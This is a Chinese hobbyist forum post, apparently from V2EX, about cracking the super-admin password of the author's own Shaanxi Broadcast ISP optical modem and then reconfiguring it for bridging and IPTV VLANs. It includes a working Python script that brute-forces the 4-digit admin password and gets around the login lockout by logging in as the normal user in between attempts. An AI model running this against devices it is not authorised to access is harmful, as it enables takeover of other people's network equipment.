坐标 029 ,最近拉了条陕西广电的 IPTV ,随线路还有一条 300M 宽带,想着可以做做联通 1000M 线路的冗余备份,顺便能折腾下陕西广电的组播源,毕竟广电的频道数量和码率吊打陕西联通。陕西联通 IPTV 就是个渣渣,频道少码率差不说,还不是单独组播线路,直播点播统统占我带宽。
然而广电小哥拉完线路调测完并不肯告诉我光猫超级密码,这必须不能忍。网上找了一圈发现古早 B1 、B2 版本的方法在 B3 光猫跟前统统不能用,但受到之前方法的启发,发现光猫上报配置之后依然会将 useradmin 的超级密码更改为随机 4 位数字的弱密码,那就很容易穷举出来。所以思路和 B2 版本一致,但 B2 判断登陆成功与否的方式在 B3 版本上已不适用。
通过抓包发现 B3 版本的光猫在登陆成功后会有个 302 重定向,并且尝试 3 次登陆失败后会有一个 180 秒的锁定时间,但在 3 次尝试中只要有一次正常的登陆就可以重置这个计数器。
所以总结一下思路: 1 、抓包分析登陆动作实现逻辑及 URL 2 、useradmin 的密码从 0000 开始尝试至 9999 ,通过判断是否有 302 响应确定登陆成功与否 3 、为防止 3 次登陆锁定,需要每尝试 2 次之后成功登陆一下 user 普通用户重置计数器
随便写了段 python ,以下代码:
import requests
from bs4 import BeautifulSoup
import re
for i in range(10000):
User_Agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"
headers = {"User-Agent": User_Agent}
session = requests.Session()
response = session.get("http://192.168.1.1")
cookies = session.cookies
login_url = "http://192.168.1.1/boaform/admin/formLogin"
if (i % 2 == 1 or i == 0):
# 防止密码错误次数到达上限,*替换成自己光猫的 user 密码
login_data = {"username": "user", "psd": "********", "login_in": "%B5%C7%C2%BC"}
session.post(login_url, login_data, allow_redirects=False)
logout_url = "http://192.168.1.1/boaform/admin/formLogout"
session.post(logout_url, allow_redirects=False)
# 尝试以 useradmin 及 4 位数字密码登陆
login_data = {"username": "useradmin", "psd": "{:04d}".format(i), "login_in": "%B5%C7%C2%BC"}
res = session.post(login_url, login_data, allow_redirects=False)
# 检查是否有 302 重定向
if res.status_code == 302:
print("Login succeeded with password:", "{:04d}".format(i))
break
else:
print("Login failed for password:", "{:04d}".format(i))
懒得优化了,能跑就行
然而我这个随机密码居然是 9 开头 4 位数,以至于我一度认为脚本有问题。。。。
尝试登陆一下
这下看起来舒服多了,随手翻翻 WAN 线路配置
vlan44 宽带,vlan45 iptv ,顺手想改个桥接,正苦于哪找 pppoe 签权信息,发现广电这个大善人居然就在页面上写着:
那就不客气了,必须桥接走起
光猫里找了一圈并没找到 vlan mapping 的配置,总不能再拉根线到电视柜啊?
那就进后台翻翻看配置藏哪了
还真给翻到了
那不客气了,vlan 号懒得改就随手用它的,反正屋里多这俩也不冲突。
广电盒子划 vlan45 里,接电视一切正常。
300M 宽带聊胜于无,写个冗余留给 wireguard ,ros 里新起个 vrf ,AC 里绑个无线没密码限速 8M 给隔壁小孩谋谋福利。
iptv 组播源改天再折腾吧
PS.iptv vlan45 要有 dhcp option60 才能拿到地址。陕西广电 option60 居然是'600831STB',呵呵。。
以上,有陕西广电的兄弟可以参考一下。
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.